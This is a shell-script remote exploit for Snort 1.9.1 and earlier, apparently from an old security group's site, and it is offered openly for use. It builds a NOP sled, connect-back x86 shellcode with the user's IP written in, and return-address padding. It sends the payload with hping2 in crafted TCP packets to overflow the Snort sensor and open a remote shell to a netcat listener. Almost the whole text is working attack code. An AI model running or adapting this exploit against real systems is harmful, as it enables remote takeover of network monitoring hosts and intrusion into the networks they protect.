#!/bin/sh ########################################################## # p7snort191.sh by truff (truff@projet7.org) # # Snort 1.9.1 and below remote exploit # # # # Tested on Slackware 8.0 with Snort 1.9.1 from sources # # # # Usage: # # 1/ Launch a listening netcat to listen for the shell # # nc -p 45295 -l # # # # 2/ p7snort119.sh yourIP [Ret_Addr] # # # # Where yourIP is the IP where the netcat is listening # # and Ret_Addr is the address (8 hexa digits) of the # # shellcode (eg: 0819fec2) # # # # # # This vulnerability was discovered by Bruce Leidl, # # Juan Pablo Martinez Kuhn, and Alejandro David Weil # # from Core Security Technologies during Bugweek 2003. # # # # Greetz to #root people and projet7 members. # # Special thx to mycroft for helping me with shell # # scripting stuff. # # # # www.projet7.org - Security Researchs - # ########################################################## # Put here the path to your hping2 binary HPING2=/usr/sbin/hping2 # You should change these params to make the snort sensor # capture the packets. IPSRC=192.168.22.1 IPDST=192.168.22.2 PTSRC=3339 PTDST=111 echo "p7snort191.sh by truff (truff@projet7.org)" case $# in 0) echo "Bad number of params" echo "Read comments in sources" exit -1 ;; 1) RET=0819fec2 echo "Using default retaddr (Slackware 8.0)" echo $RET ;; 2) RET=$2 echo "Using custom retaddr" echo $RET ;; *) echo "Bad number of params" echo "Read comments in sources" exit -1 ;; esac # Nops i=0 while [ "$i" -lt "512" ]; do i=$(expr "$i" + 1) echo -n -e "\x90" >> egg done # linux x86 shellcode by eSDee of Netric (www.netric.org) # 131 byte - connect back shellcode (port=0xb0ef) echo -n -e "\x31\xc0\x31\xdb\x31\xc9\x51\xb1" >> egg echo -n -e "\x06\x51\xb1\x01\x51\xb1\x02\x51" >> egg echo -n -e "\x89\xe1\xb3\x01\xb0\x66\xcd\x80" >> egg echo -n -e "\x89\xc2\x31\xc0\x31\xc9\x51\x51" >> egg echo -n -e "\x68" >> egg # IP here echo -n -e $(printf "\\\x%02x" $(echo $1 | cut -d. -f1) \ $(echo $1 | cut -d. -f2) \ $(echo $1 | cut -d. -f3) \ $(echo $1 | cut -d. -f4)) >> egg echo -n -e "\x66\x68\xb0" >> egg echo -n -e "\xef\xb1\x02\x66\x51\x89\xe7\xb3" >> egg echo -n -e "\x10\x53\x57\x52\x89\xe1\xb3\x03" >> egg echo -n -e "\xb0\x66\xcd\x80\x31\xc9\x39\xc1" >> egg echo -n -e "\x74\x06\x31\xc0\xb0\x01\xcd\x80" >> egg echo -n -e "\x31\xc0\xb0\x3f\x89\xd3\xcd\x80" >> egg echo -n -e "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01" >> egg echo -n -e "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3" >> egg echo -n -e "\xb1\x02\xcd\x80\x31\xc0\x31\xd2" >> egg echo -n -e "\x50\x68\x6e\x2f\x73\x68\x68\x2f" >> egg echo -n -e "\x2f\x62\x69\x89\xe3\x50\x53\x89" >> egg echo -n -e "\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0" >> egg echo -n -e "\x01\xcd\x80" >> egg # 3 dummy bytes for alignment purposes echo -n -e "\x41\x41\x41" >> egg i=0 cpt=$(expr 3840 - 134 - 512) cpt=$(expr $cpt / 4) var1=0x$(echo $RET | cut -b7,8) var2=0x$(echo $RET | cut -b5,6) var3=0x$(echo $RET | cut -b3,4) var4=0x$(echo $RET | cut -b1,2) while [ "$i" -lt "$cpt" ]; do i=$(expr "$i" + 1) echo -n -e $(printf "\\\x%02x" $var1 $var2 $var3 $var4) >> egg done # hping ruleZ $HPING2 $IPDST -a $IPSRC -s $PTSRC -p $PTDST --ack --rst -c 1 \ -d 0x1 --setseq 0xffff0023 --setack 0xc0c4c014 \ 1>/dev/null 2>/dev/null $HPING2 $IPDST -a $IPSRC -s $PTSRC -p $PTDST --ack --rst -c 1 \ -d 0xF00 -E egg --setseq 0xffffffff --setack 0xc0c4c014 \ 1>/dev/null 2>/dev/null $HPING2 $IPSRC -a $IPDST -s $PTDST -p $PTSRC --ack -c 1 \ -d 0 --setseq 0xc0c4c014 --setack 0xffffffff \ 1>/dev/null 2>/dev/null rm egg echo "Exploit Sended"